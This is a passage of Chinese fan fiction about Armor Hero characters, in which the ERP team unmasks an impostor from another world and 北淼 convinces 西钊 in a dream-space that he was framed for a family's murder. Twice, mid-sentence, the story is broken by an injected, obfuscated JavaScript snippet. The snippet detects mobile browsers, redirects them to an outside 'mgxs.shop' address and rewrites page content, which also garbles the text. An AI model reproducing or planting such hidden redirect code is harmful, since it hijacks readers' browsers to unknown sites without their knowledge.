黑雾之所以让异世界的二人跨越时空,是因为在第五维度的黑域中,几乎所有世界的影界势力都被完全消灭,只剩北淼和西钊这个原初世界中有一只异能兽逃出生天,没有被封印在封魔盒中,这就给了影界卷土重来的机会。他们利用界王的解放分析构造技术将最后的魔灵石分解为纯粹的异能量,企图通过感染五行村后人以破坏他们的血脉、吸收人类的恶念、增强自己的力量。 “西钊”之前偶然听“北淼”调侃似的提起过,黑雾在那一次“杀鸡儆猴”之后行动变得更加激进,“用西钊的血二次感染”也是那时开始的,其实最初他们的计划只打算感染五个铠甲召唤人。于是“北淼”推测,黑雾的力量在那次之后被消耗了不少,如果打算来个猝不及防的背刺,这段时间就是最好的时机。在“北淼”看来,他无所谓五行村后人的死活,也无所谓光影铠甲的命运,只是不爽头顶上一直有片阴霾盘旋,就像曾经的界王一样不停向他们施压。 当然,“西钊”深知,找机会消灭黑雾并不意味着“北淼”放弃他来到这个世界的目的。因此,他必须为“北淼”寻找两全其美的方法:既可以对黑雾造成致命打击,又能完成北淼的替换。 其实这两件事分别做起来对他和“北淼”来说不难,只是需要一些时间。但不凑巧的是,他们缺的就是时间。如果可以,他还是希望能够一次性把所有障碍全都解决掉。 “西钊”忽然想起,古书中对黑雾侵蚀人类的比喻是“吞食”,类似于蘑菇吃掉食物、再把食物变成自己的菌丝、最后形成菌落集群。 他虽然不懂什么蘑菇和菌落,但他知道生态系统中最最基本的一条:当一个东西带着对你有害甚至致命的毒、而你又吃了它时,很大可能性你也会跟着中毒、乃至危及生命。因此,结合光影石的光影能量能够抵御影界黑暗力量这一点,“西钊”便有了一个天马行空的计划:如果感染异能量意味着被黑雾“吞食”,那么让五行村血统最纯粹的铠甲召唤人感染异能量,再利用ERP研究室的光影能量磁场清除,就可以做到激发“毒性”,从内部对黑雾造成直接伤害。 根据西钊的记忆,清除异能量的过程非常痛苦,对召唤人的精神和意志都是一种折磨。假设这个计划可行,他们就可以在对黑雾造成重创的同时削弱光影铠甲召唤人的力量,最后只要享受渔翁之利即可。 这也是为什么当时“西钊”发现北淼要前往战斗现场时,立刻通知“北淼”改变了计划。他们认为,不论ERP是否选择清除北淼身上的异能量感染,结果对他们都有利。 至少在“西钊”踏进虚拟战斗室之前,他都是这么想的。 ———————— 美真将座椅滑到圆桌前,与大家围坐在一起,说话时还回头关注着诊疗室和训练室的监控画面:“好了,支走了当事人,接下来、必须尽快找出谁才是冒牌货。” “嗯。”炘南轻声应道,他先是抬眼望了望北淼所在的治疗室,接着转头看向美真,眼里带有些他一如往日的忧虑,“北淼的情况怎么样?” “因为镇静剂的作用,暂时稳定下来了。不过……和其他受害者一样,他的RT血型也被改变了。”美真盯着桌面上的几页检测报告叹了口气,“虽然暂时还不确定、这种改变是否是永久性的,但北淼现在没办法召唤铠甲,这是事实。” “西钊不是怀疑、这是影界的苦肉计吗?”坐在美真和炘南中间的东杉偏头看向炘南,问道,“难不成、是引诱我们开启光影石能量磁场?” 炘南微微摇头,平淡而坚定地否决了东杉的推测:“我觉得、事情没有那么简单。就目前来看,大家对北淼和西钊两人最近的行动、有什么疑点吗?哪怕是最微小的细节,说不定都有着决定性的意义。坤中,你和西钊最熟悉,我想、你的见解,我们必须要着重考虑。” 坤中搭在桌上交握的双手不安分地搓来搓去,表情很是为难:“其实、就和之前我跟北淼说的那样。西钊最近不怎么说话,我约他去打球、他也总是谢绝。我没想太多,因为他不是和北淼刚分手嘛,我还以为……是受什么刺激了。”坤中抓抓后脑勺,微微皱起眉,一副“有句话不知当讲不当讲”的样子,停顿了好一会儿才继续说道,“还有就是、以前西钊跟我说,他不知道‘国王游戏’,‘真心话大冒险’也是和冰儿学的。刚才我们战斗的时候,他用‘恶魔游戏’来举例子,但是这个游戏现在已经很少人玩了,只有很多人聚会的时候才会一起……当时我还有些惊讶、西钊居然也听过‘恶魔游戏’。我不知道这个算不算……” 美真小幅点头,认真听着;东杉和炘南对视一眼,便各自陷入思考。半晌,炘南首先打破沉默:“没事,这是个很好的参考,坤中,我们不能放过任何一个违和之处。”他的目光扫过美真和东杉,鼓励众人继续补充疑点,“我最近没有和他们怎么来往,你们呢?东杉,你察觉到什么了吗?” 东杉抬手用手背撑着腮帮子,苦恼地摇摇头,一声长叹:“哎。我也好久没见过他们了,这次因为异能量的事、把大家召集回来,才恢复联系。而且,北淼一回来就进医院、一出院又被感染异能量,很难说他有什么变化……”东杉的神情满是无奈,甚至于有些同情,但提到西钊时,他的语气微妙地发生了转变,“但是西钊……我说不清楚,他给我的气质、感觉和以前很不一样。而且我的印象里,他的衣着向来干净利落,也没见过他背斜挎包啊。” “知道他挎包里是什么吗?”炘南问。 东杉皱眉思索一阵,再次摇头:“从外面看不出来,但体积应该不小,感觉很硬实。那个挎包他从不离身,当时我没在意,也就没过问。” “没关系。至少现在西钊还背着它。等北淼的事处理好,我们直接问他便是。”炘南确认虚拟战斗室中“西钊”的情况之后,便将话题抛给了美真,“那、美真,你呢?” 美真背转过身,视线在监控屏幕上的北淼和“西钊”身上来回游移,“嗯——”了半天,食指在下巴上无声地敲击:“西钊我没怎么关注,反而是北淼有些奇怪。先不说他两次进ERP都是重伤,今天的异能兽事件,我本来打算联系炘南,但北淼却坚持让西钊上阵,还特别强调、让西钊‘召唤铠甲’。这点……我现在还没什么头绪。” “把雪獒铠甲的召唤记录调出来看看,说不定会有线索。”东杉将椅子转至指挥台,在得到美真肯定的答复后和她一同开始操作。然而,ERP系统给出的结果令所有人感到惊疑。 “怎么会?”美真的手停顿在键盘上方,犹疑不定地抬头望着屏幕上的几行字,“卫星的能量传输系统只显示了土影石、也就是坤中召唤地虎铠甲的记录,怎么可能没有金影石的呢?卫星传回来的画面也能看到、西钊他的的确确召唤了雪獒铠甲。” 炘南虽不太懂卫星的运作机制,但还是提供了一个思路:“会不会是、卫星自动传输,没有经过人为操控;或者记录被篡改。有这种可能性吗?” 美真重新检索几遍系统之后依旧是同一结果,哀叹着倒回椅背上,侧头看向炘南,不服气地否认:“我哥升级卫星之后,ERP的系统连只苍蝇都飞不进来,绝对不可能出现那些情况。只要召唤了铠甲,就一定有记录。” “咱们能召唤铠甲,本质上还是光影石的作用吧。”沉默了许久的坤中忽然说,他一边不确定地摸着后颈,视线一边瞟向光影能量室中的五颗光影石,“我亲眼看到西钊召唤了铠甲。如果美真姐这里没有记录、总不能……总不能西钊没有光影石也能召唤铠甲吧?” 东杉转过身朝坤中摊开一只手,疑惑道:“但这根本说不通啊。” “不。还有一种可能。”炘南以最快的速度将之前细微的线 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334709|199228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 索慢慢地串联起来,心里已经有了答案般地盯着虚拟战斗室的那个人,语气已不再有方才的摇摆与疑惑,反而稳重得令人心安,“如果我们假设、西钊的挎包里背着的是金影石,一切就说得通了。” “啊?”坤中一下子还没反应过来,“怎么会有两颗金影石?” 像是要确定炘南的想法,美真凑到圆桌前,再次问道:“你是说……西钊的光影石、可能来自另一个世界?” 炘南默然点头予以肯定时,东杉也跟着方才炘南的目光,将焦点汇聚在屏幕里那个正闭目养神的人身上:“看来,谁是冒牌货,已经很明显了。” “可是,美真姐刚刚不还说、北淼的行踪也很可疑吗?”即便坤中知道反转的可能性微乎其微,也依旧试图为“西钊”挽回哪怕一点点信任,“而且西钊跟我说,他是为了试探北淼是不是影界间谍才提出分手;但是北淼却说,他和西钊分手跟这次影界的事没有关系。说不定、说不定——” 美真本想打断坤中的猜测,但指挥屏幕上检测报告的结果比她更早一步。就在众人以为目前的情报已经足够头脑风暴的时候,关于北淼后衣领上血迹的检验结果再次震惊了所有人:报告显示,含有异能量残留的血迹正是目前所有异能量感染事件的罪魁祸首,而它的DNA来源那一栏,赫然写着:秦西钊。 整个ERP实验室都陷入了长久的沉默,寂静得落针可闻。大家的目光都纷纷投向虚拟战斗室的监视屏,哪怕没有人说话、没有任何交流,大家对最终“谁是冒牌货”的结论也都心知肚明。 半晌,发现虚拟战斗室灯光熄灭的东杉率先打破这略显窒息的沉默:“美真,先封锁传送室。有光影石的能量磁场在,他应该不能直接瞬移离开。” “好。”美真一边应答,一边迅速操作起来。 “幸好赶在训练结束之前。”东杉长舒一口气,“这下可以说是、‘瓮中捉鳖’了!” “你怎么能说西钊是‘王八’?!”坤中忽然拍案而起,不满地控诉道。虽然“‘西钊’是来自异世界的影界势力”这件事无法改变,但坤中还是对东杉的比喻感到不舒服。 面对这个重点完全偏离的问题,东杉哭笑不得地解释道:“是‘鳖’、不是‘王八’……” “行了行了,现在是在乎这个的时候吗?”美真好气又好笑地看了坤中一眼,责备的语调和“指挥官”的气场瞬间让坤中气势全无,蔫巴巴地坐了回去。 与此同时,虚拟战斗室内,“区域已封锁”的机械女声让“西钊”不紧不慢地睁开眼睛,平静如水的神色未变几分。看来,他的身份还是被看穿了。不过与其思考到底是哪里出了问题,不如接受现实、顺其自然,说不定能将计就计。他没有选择反抗,也没有主动提出交涉,只是安静地手插裤袋维持站姿,等待“正义的审判”。 大约十几分钟后,如“西钊”意料之中地,头顶的广播传来美真的声音:“‘西钊’,你的伪装我们已经识破了。但我们认为,你和真正的西钊一样,本性依旧是善良的。这件事,我想、我们还有沟通的余地。” “西钊”轻声哼笑,没有第一时间回答,片刻之后,他才缓缓开口:“很遗憾,我没有你们想要的东西。一个将死之人的加入,对你们来说也没有意义。你们应该把时间放在治疗北淼身上,而不是我这里。” “目前还不确定光影能量磁场的方案能不能奏效,我们必须谨慎行动。” “死不了。”“西钊”似是嘲讽广播背后的人,又似是在自嘲,“如果,你们要的是谈判,我可以奉陪。但,我只和他谈。” “北淼?” “嗯。” “西钊”回答得很快,但对面却陷入了沉默。在那之后,便不再有回音。 他很清楚,在他们商量出怎么处置他的对策之前,他无法离开这里。老实说,他并不是很在意,反正计划的主要执行人还是“北淼”他们;他更担心“北淼”意识到自己已经暴露。以那家伙的性子,哪怕带着西钊找上门来他都不会觉得意外。 嗯……如果真的如此,大概、会发生一些有趣的事情吧。 —————— “喂。” 一瓶冰可乐从远处以完美的抛物线砸进西钊怀里,一秒破了他抱臂斜倚着墙角的姿势。而西钊已经完全习惯自己的名字从“西钊”变成了“喂”。他抱着可乐抬眼看向对面朝他摆摆手让他过去的家伙,白眼虽然翻在心里,但不耐烦和厌恶却明摆在脸上。 也没等西钊问出口,“北淼”便望着房间桌台上的电子钟、抬手轻车熟路地勾过西钊的肩膀说道:“我劝你、最好收起这副苦瓜脸。” 西钊一声冷笑:“你该庆幸,我给你的是脸色、而不是拳头。有本事、就正大光明打一场,我保证,我会让你为至今做的一切感到后悔。” “是吗?那你现在是想揍我、还是见他?” 西钊眉头一皱、稍有惊讶:“……什么意思?” “北淼”用勾着西钊脖子的手拍了拍他的肩膀,刻意避开了西钊的问题:“接下来,我打算‘直捣黄龙’,闯进他们的大本营。你可以选择跟我一起,或者、在这里‘拆家’,浪费各自的时间。” 西钊总觉得有些不对劲。是什么让“北淼”突然改变原定为“西钊”收集光影能量的计划?在现在的“北淼”眼里,应该没有比这件事更高优先级的任务才对。他说的“突击大本营”,指的是ERP指挥室吗?难道说……“西钊”暴露了?还是他们决定“里应外合”,发起最后的进攻?如果是这样,“北淼”为什么说“去见他”?这个“他”,难道是—— “你要带我……见北淼?” 对方依旧没有回话,轻哼一声松开西钊,大步流星走向门口。直到房间门关上,西钊才恍然回神、三步并作两步地追了上去。 要对峙吗?要战斗吗? 是继续伤害彼此、还是趁此机会求救? 西钊不知道。 现在他心里只有一件事: “我想再见他一面。” TBC 82. 真正的凶手 ———————— 恐惧,是人类最原始的情绪。 ———————— 好痛。 这是唤醒北淼意识的第一感受。他不知为何被囚禁在黑犀铠甲之中,某种强烈的破坏欲正企图趁机侵入他的大脑、夺取他的神智。 他头痛欲裂、苦不堪言,这种感觉像极了黑暗护法的电磁力罩让他止不住呻吟出声,又好像梦中与西钊感同身受万伏电压令他挣扎无能。若一定要找一个与其匹敌的苦痛,或许只有当初为西钊杀死附身在他手臂的丑将时,消除异能量的那个过程:冰冷的黑暗游走在全身的血管之中,而滚烫的光辉沿着黑暗的踪迹将其无情吞噬,留下足以粉碎意识的灼痕。毫无疑问,此时他又回到了“净化”的炼狱。 只是这次,西钊不在这里。没有人和他一起分担这一切。 他想离开这个周围全是刺眼白光的空间,他想扫除一切障碍去见他一面。 他想见他、想见他,想见他…… 北淼无意识萌生的怯意,就好像在内心深处撕开一道结痂的伤疤,给了被圣光追逐的黑暗可乘之机。它见缝插针般的直驱而入、毫不留情地撑破伤口,让北淼的本就动摇的心神染上更多漆黑的污渍。于是,呼之欲出的思念与爱意在这一刻被深入骨髓的苦难化为极端的愤怒与不甘。 纯白半透的墙壁从四面八方向北淼缓慢靠拢,狭小的空间与升腾而起的破坏欲使得北淼不停地向墙壁挥拳。一下又一下、一拳又一拳。他甚至唤出水甲盾,试图以犀牛尖锐的利角冲破桎梏,力道之大,以至于大地都在为之颤动。 终于,在黑犀不间断的强攻之下,禁锢他的透明容器终于被砸出蛛纹状的裂痕。北淼甚至能透过朦胧的视线隐约看到容器之外站着的人:他和西钊的镜像、另一副黑犀铠甲和雪獒铠甲。他挥拳的力道也因此越来越重、拳速也越来越快。他想,只要消灭他们,西钊就能回到他身边。 蛛网般的裂痕逐步扩大,北淼的耐心也随之消耗殆尽,决定速战速决。就在他将手放在腰带上,准备按下旋钮召唤流星枪时,一只强有力的手死死抓住了黑犀铠甲的铁腕。北淼下意识地回身朝人面门挥拳,对方意外敏捷地后撤躲过,却仍旧没有松开他的手腕。待北淼收回戴着水甲盾的拳,定睛一瞧,竟是一只面容可憎、形似藏獒的异能兽。 从小到大,北淼都对异能兽没有一丁点好感。它们是来自宇宙的黑暗力量、消灭它们是光影铠甲存在的唯一目的。所以、所以—— “别妨碍我!!” 已经被黑暗侵蚀的北淼怒吼着甩开异能兽的利爪,拧动旋钮召唤流星枪,在手中转出一轮枪花之后直刺异能兽要害。泛起深绿微光的流星枪有如附着狂瀑之力,每一次直击都带出撕裂空气的刃风,让那异兽格挡不住、闪躲不能。 失了心智、攻势凶猛的北淼并没有发现,异能兽只守不攻,又或者说,心甘情愿挨他的打、连还手的倾向都没有。直到“狂瀑扎”箭在弦上,旋转的枪尖向着异能兽的心脏突刺之时,北淼才听到异能兽焦急而绝望的声音。 “北淼,醒一醒!不要被那股力量操控! “不要这样,北淼!算我求你了!快醒过来啊!” 只见异能兽将流星枪尖死死夹在掌心,洁白的辉光汇聚在异能兽身上,凝成一支纯金之箭。光箭顶住枪尖的刹那,周围便以箭矢为中心掀起巨大的风浪、甚至于将水之铠甲的狂瀑之力卷入其中,似透明的利刃,又如澄澈的海浪。 箭矢于狂瀑之力爆发的瞬间以水龙卷之势擦着流星枪柄向黑犀铠甲的心脏飞驰。最终,光箭化为巨斧,在穿透铠甲之时粉碎为星空一般的璀璨光尘,惊涛骇浪也在此刻化为冷却疯狂的泼天凉水。 那支由纯金打造的箭矢并不像捅破他伤口的黑暗那样冰冷,也不如吞噬黑暗的光明那样滚烫。它将光消解、又将暗驱逐,只留下那份令北淼几乎思念成疾的温暖。 金生水。 光芒消散之时,浑身湿透的北淼终于认出了那个声音的主人。他的意识逐渐清醒,也逐渐拿回了属于自己的理智。黑犀铠甲解除的同时,站在他对面的雪獒异兽也恢复人形,捂着胸口跪倒在地。 “……西钊。”北淼轻轻唤了一声,但似乎没有被对方听到。那人仍低着头,急促地低喘,试图平复呼吸。 西钊努力撑起身体半直起腰,下盘还没稳住,就被一个熟悉的拥抱锁在结实的臂膀之中。一如往日的利落和狠劲让他们的胸膛猝不及防相撞,西钊禁不住疼得倒吸凉气嘶声痛呼。可即便如此,环抱他的人也没有松手,反而搂得更紧,仿佛只要稍有松懈,就会永远失去他。 西钊足足适应了好几分钟,这才抬手穿过对方腋下、绕到他的后背、缓慢而用力地回应这场来之不易的重逢:“没事了、北淼,没事了。” 然而这个拥抱并未维持多久,北淼忽然撤开身,沉沉按着西钊的肩膀小幅度地摇晃:“西钊,告诉我、你在哪?就算是下地狱、我也要把你救回来。异能量的事、到时我们再想办法。” 西钊看着面前救人心切的北淼愣了神,方才温柔的双眸和嘴角的笑意骤然消失,他不禁想要后退,与北淼拉开距离,未曾想肩膀上按压的力气让他动弹不得,他只好将视线转至一旁,避重就轻道:“对不起,北淼,那时候对你……” “现在不是说这个的时候,西钊,告诉我——” “我的方法、奏效了吗?”西钊打断北淼的质问,抬头直视他的眼睛,一本正经严肃道,“我的血、是异能量的感染源,一部分被我注射到你体内,另一部分、染在你后衣领上。只要美真他们能查出这个异样,‘他’的伪装就不攻自破了。” “……所以,你不是自愿这么做的,对吗?”北淼抓住西钊话中的漏洞反驳道,“不然,你没有必要在那种事情上耍小聪明。” 西钊一时语塞,他无法定义自己的行为究竟是不是自愿。潜意识中的帝皇侠和敏慈都告诉过他:平心而论、向心而行、问心无愧。可现实是,他问心有愧、一错再错。他不知道自己还能不能回头,也不知道还有没有被原谅的可能。都说血债血偿、一命换一命,如果时光回到他作为异能兽苏醒的那天,他不会给“北淼”任何使唤他的机会。 哪怕来不及和北淼说再见。 北淼在西钊的沉默里意识到自己拿回了情势的主导权,立即转移话题,按着他肩膀的双手再次使力,追问道:“西钊,看着我。我已经用计让那家伙露出马脚了,美真他们一定会发现问题,他绝对跑不掉。告诉我怎么做才能救你出来、好吗?你到底在顾虑什么?我知道你在生我的气,但这个我们可以以后再谈。现在真的没有时间——” “你根本什么都不知道……!”西钊抬臂甩开北淼的手,挪步后撤,悲怆的神色里夹杂着痛苦与无意的指责,“不要再逃避现实了,北淼!我手上沾了血,也伤害了无辜的人。你觉得我们还能回到从前吗?” “西钊”曾经的质问随着西钊激动的控诉再次浮现在北淼脑海。是啊,他们真的能摒弃前嫌当做无事发生吗?他真的能接受这样的西钊回到他身边吗? 如果要说实话,北淼无法接受。在他的观念里,善就是善,恶就是恶,这世界非黑即白。冰儿曾经的恶他可以纠正,西钊过去的恶他可以引导,但以前顶多止步于伤人事件,如今可是真真切切的人命啊。北淼做不到,无论有意还是无意,他都做不到包庇恶行。可是,谁都知道杀人偿命,他又真的有那个勇气亲手把西钊推向绞刑台吗? 不、不对,不是这样的。一定有什么地方不对。 北淼尝试拉近距离,朝西钊伸出手,迫切地想把这个人拉到自己怀里,害怕自己的手再也抓不到他的衣角、害怕他再一次自甘堕落:“就算你变成异能兽,伤害了无辜,美真他们也会想办法把那些人治好,我们还有重新开始的机会。至于杀人……我不相信,那不可能是真的。西钊,你听我说——” 西钊没有给北淼继续为自己辩解的时间,他睁大双眼直视北淼,情绪随着提高的音量越发激动:“别开玩笑了,北淼。难道你认为、我的记忆都是假的吗?你要我相信,记忆里那些人的血、他们身上的伤痕、撕裂他们皮肤的感觉全都是假的吗?!你根本就不了解、那到底是什么样的感受……” 西钊垂在身侧的双手紧攥成拳,骨节发白、微微颤抖,散发出的强烈气场让北淼也无法轻易靠近。此情此景,仿佛让他们回到许久许久之前,北淼在影界基地追上不告而别的西钊、西钊因不知如何应对而微妙地远离他。 “江山易改,本性难移。到头来,你也许没有说错,北淼。”西钊自嘲的笑容在这纯白的空间里显得如此苍凉,“这也许……就是我的报应吧。” 北淼无言以对,悬在半空的手最终也握成了拳头,却久久没有放下。不应该是这样的,他想,这其中一定有问题,一定有。如果、如果连他北淼——或许是此时此刻西钊唯一能依靠的人——也不能给予西钊支持的话,局势就真的没有任何扭转的余地了。 就在这时,北淼忽然想起,坤中之前被西钊误伤、躺在诊疗室时曾说过:直觉、观察、查证、判断。那时候他并没有多加留意,然而现在,他终于意识到这八字真言竟如此意义重大。 首先是直觉。直觉告诉北淼,西钊不可能杀人,就算有再多的理由、再多的身不由己,这也应该是西钊的底线。 其次是观察。怎么观察?北淼即刻在脑中回忆关于“西钊夺人性命”的所有细节,不论是从“西钊”口中得知的情报,还是从西钊这里听到的“事实”。很快,他便发现了一个漏洞,或者说,一个非常容易被忽视的细节。这个细节很可能决定了整件事的真伪、整个局势的走向。 接下来就是查证。北淼不认为西钊的记忆有问题,他只是觉得西钊的记忆“不完整”。而这种“不完整”,恰好能左右最终的判断。所以,他必须向西钊求证,他必须知道西钊记忆里的一切——不放过任何一处碎片。 “西钊,你说你变成异能兽杀了人。好,那我问你:具体在哪?杀了几个?” 西钊明显对北淼唐突的问题愣了一下,这才想起北淼确实不知道当时的具体情况,不知为何,他的情绪因此冷静了些许:“……在一处私人民宅,一家五口,三个孩子比向阳大几岁。” 北淼微微点头,神情严肃地一边缓步靠近,一边继续问道:“还记得他们身上的爪痕吗?你刚刚说的‘血’,具体是什么样的?” “北淼、你——呃……” 也不知是回忆起被大脑强制保护的记忆,还是受到什么其他刺激,西钊话未出口,就感觉整个脑袋像被扔进火堆里的松果,疼得几乎要炸开。遍布神经的刺痛让他忍不住呻吟声,踉跄几步险些摔倒,北淼下意识地冲过去想要搀扶,却被西钊抬手制止。北淼担心再度刺激到他,僵在原地也不敢动弹,只能听西钊压抑着低喘断断续续道: “他们、他们有些人的爪痕在背上,大多数、集中在胸口。至于他们身上的血……我只记得、在伤口的地方有血,颜色很深。” 北淼僵直的躯干随着西钊的话再次回温,他收回“侵略”西钊领地的脚步,抬手抚摸下巴,若有所思。按照西钊的描述,他的猜测是对的。接下来只要再确认一件事,也是最重要的一件事:“既然,你对这段记忆印象这么深刻,那你一定记得、你动手时,他们看你的表情了?” “……表情?” “嗯。” 北淼的问题彻底问住了西钊。他从来没有想过这个,也从来没往这方面想过,甚至觉得这件事无足轻重:人已经死了,为什么还要在意他们生前的表情?难道要铭记他们面对死亡时的恐惧吗?为什么—— 不对、不对。 西钊转念一想,瞬间醍醐灌顶:不是“为什么要记住”,而是“为什么想不起来”。北淼说得对,既然这段记忆令他如此印象深刻,以至于成为纠缠他的梦魇,为什么他只能记住伤痕、血迹和死亡?为什么他无论如何都想不起他手刃那家人时他们面对自己的表情?一种隐约的不安如阴云哽住他的喉咙、充盈他的血管,让他心跳加速、沉默了半晌。 最终,西钊的神色虽带着些许困惑,却也坦诚地回答道:“我……不知道。我记得他们胸前的伤口、记得他们身上深红色的血、记得他们死在我面前。只有他们的表情、只有他们的表情……我完全没有印象……” 这时,西钊脑袋里那种被什么东西横冲直撞的疼痛急剧加大,十指深深插入棕发之中不停揉搓,使其凌乱不堪。他甚至不能好好把最后一句话说完,便双腿发软往地上瘫。北淼眼疾手快地冲上去扶住西钊的肩膀,与他一同半跪在地。他得到了自己要的答案,最终的“判断”迫在眉睫。他绝对不能、绝对不能再看到眼前人因为这件事折磨自己了。 “西钊、西钊。看着我,你好好看着我。”北淼激动得捧起西钊脸颊的双手也止不住颤抖,力道根本算不上有多温柔,他紧紧注视着西钊因为痛苦而几近破碎、覆着一层眼泪的双眸,咬紧后牙,一字一句地说道,“听好了,西钊:你没有杀他们,动手的另有其人。影界利用你、伤害了他们的尸体,让你误以为是你下的手,仅此而已。” 像是在确认记忆,又好似在逃避真相,西钊眉头紧蹙、轻咬下唇微微摇头,扭头躲开北淼如同流星枪那般能将他刺穿的锋利视线。而北淼没有给西钊自欺欺人的机会,手重新搭上他的肩膀,沉重而缓慢地晃了晃: “西钊,别再自欺欺人了!他们的破绽就是你自己的记忆。如果是你在他们还活着的时候下的手,从活人胸口、靠近心脏的位置流出的血怎么可能是深红色?再说,血有从伤口扩散吗?有留下满地血泊吗?如果没有,说明那些伤口根本就不是他们活着的时候留下的!你自己好好想想,如果你是动的手,其他细节又记得那么清楚,为什么偏偏不记得他们被杀时面对你的样子?那是因为他们早就已经死了!影界选择留给你的记忆只有他们死后的样子、还有你在他们死后留下的伤口而已!西钊,你还不明白吗?你被利用了!” 北淼的话犹如一声晴天霹雳,将西钊的感官全部震得粉碎。他难以置信地抬眼、向北淼投去无措的视线,仿佛在确认那些话的真实性,想要从中找到哪怕一丝漏洞来反驳,但他无论如何也找不到。北淼是对的——他永远都是对的。一直以来缠绕在西钊脖颈上紧绷的细绳没有勒出血痕,而是被北淼坚定的决断轻易化解,将深陷泥沼的他拽出深渊。 大脑完全接受这个现实之后,西钊顿感一阵眩晕,疼痛甚至都逐渐从他的意识中远离,犹如双脚被绑上巨石沉入海底后,又被人剪断了绳索,在窒息溺亡之前浮出水面,大口呼吸以汲取续命的氧气。 西钊将全身的重量都压在了北淼身上,额头抵着他宽厚的肩膀;北淼也将西钊紧拥入怀,抬手顺着他的后背缓慢安抚。他们谁都没有说话,周围安静得能听到彼此的心跳。那是他们存在的证明、是彼此“就在此处、在自己身边”的证明——哪怕他们对自己现在所在为何处心知肚明。 “北淼……”西钊欲言又止,仿佛眷恋当下的怀抱,停顿半晌才叹息着说道,“如果、当初我没有拆掉追踪器和窃听器,事情或许不会变成今天这样。就算、我不喜欢你把我管得太严,我也应该和你好好谈谈。你是对的,我……已经习惯‘离开’了。以前被你逼走也好、丑将附身那时不告而别也罢,哪怕现在在你身边过得不顺心,也只会转身逃避。” “西钊,你在说什么蠢话。”北淼重新捧起西钊的脸颊,拇指在他湿润的眼角轻轻蹭了蹭,话语中尽是温柔与自责,“是我不好。把你逼走的是我、没察觉到你异常的是我、用越界的方式让你窒息的还是我。其实你和我谈过这个问题,记得吗?可我没有听。你知道我……总是听不进别人的建议、一意孤行。” “……然后一头撞到墙上、等犀牛角插进墙里拔不下来的时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334710|199228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 候,才知道自己错了。”西钊低笑出声,顺势调侃道。 北淼扯扯嘴角,无可辩驳。他倾身上前,与西钊额头相抵:“嗯,我知道错了。所以,原谅我,回来吧。我们一起、把那两个冒牌货赶回他们的世界,然后再想办法把你治好。” 西钊的笑容一僵,转瞬间变为无奈的苦笑。他闭上眼,缓缓摇头:“事情没有那么简单,北淼。他们手上的异界光影石、能够控制变成异能兽的我。而我必须通过吸收五行村后人的光影能量,为西钊提供活下去的‘养料’。” “什么意思?” 看着北淼不解的样子,西钊便一五一十地将影界二人对他的计划告诉了北淼。北淼也终于想起,西钊袭击光影村后人时,受害人伤口流出的是光而不是血。这么想来,这件事并不是他的幻觉,而是西钊在为“西钊”汲取能量。 “我可不会让那家伙轻易把我换掉。等美真他们抓住‘西钊’的狐狸尾巴,我们就可以用他当做人质,至少、先把你换回来。” 西钊果断地摇头否决北淼的计划:“替换你其实不是‘北淼’的真正目的。我看得出来,他更希望能找到让另一个我正常活在这个世界的方法。如果我们……为‘西钊’提供光影能量、率先表达善意和信任,或许能让他和我们谈谈。多一份力量,总好过多一个敌人。他们的情报对我们也很有用。北淼,我知道、让你信任曾经的敌人并不容易,毕竟……” 西钊苦笑一声,没有继续说下去。 北淼也没有马上回应,低头沉思一番后才一边叹息一边说道:“你就别嘲讽我了……瞧你,态度跟炘南一样随缘,方法跟坤中一样天真,就差没学人东杉的智商了。” “你还有心情骂我。” 西钊哭笑不得地挪了挪身子,原本盘腿面对面的二人此时并肩而坐,脑袋不约而同地往对方的方向靠,轻轻撞在了一起。 “又不知道你什么时候会消失。” 北淼有意无意地提出了那个他们一直都没敢提的话题,但不管是西钊还是他自己都没有给出进一步回应,而是自然地接着“后续计划”继续说道:“就按你说的办吧。等醒了,我会和美真他们说的。希望他们还没蠢到把冒牌货放走。”北淼偏头瞥了一眼西钊,好奇问道,“说起来……你到底、是怎么进来的?而且,你还没告诉我你到底在哪。” 西钊用气声轻笑,嘴角的酒窝在脸颊上印出浅浅的痕迹,全然没有了方才被痛苦折磨的狰狞模样。他垂下眼帘,指腹揉捏衣角:“我和‘北淼’、在去汉堡店的路上,我当时、只感觉到一阵剧烈的头痛,接着就失去了意识。等我再睁开眼的时候,就已经在这里了。” “什么?!他过来了?带着你一起?!”北淼松懈的意识即刻紧绷,转身时差点没让西钊失去平衡,“现在呢?现在情况怎么样?” “北、北淼,你冷静一点。我——” 北淼没有等到西钊的后半句话,他的双手抓了个空:西钊毫无征兆地消失在了他面前。 即使知道现实中的西钊还存在于世,一股不可控的强烈恐惧感也在这个瞬间席卷了北淼的神经。他终于设身处地地理解了另一个自己的感受、终于理解了西钊所听到的、那个“北淼”说过的话: “你有没有过那种、‘无论如何也想让他活下来’的想法?” “北淼”对“西钊”会消散于这个世界的恐惧,远比他对小雪是否与他相认更加执着、更加刻骨铭心。 所以、所以他必须—— ———————— 数十分钟前,ERP实验室 “美真!发生什么事了?!”东杉第一个稳住脚步,拉开椅子坐到美真身边。 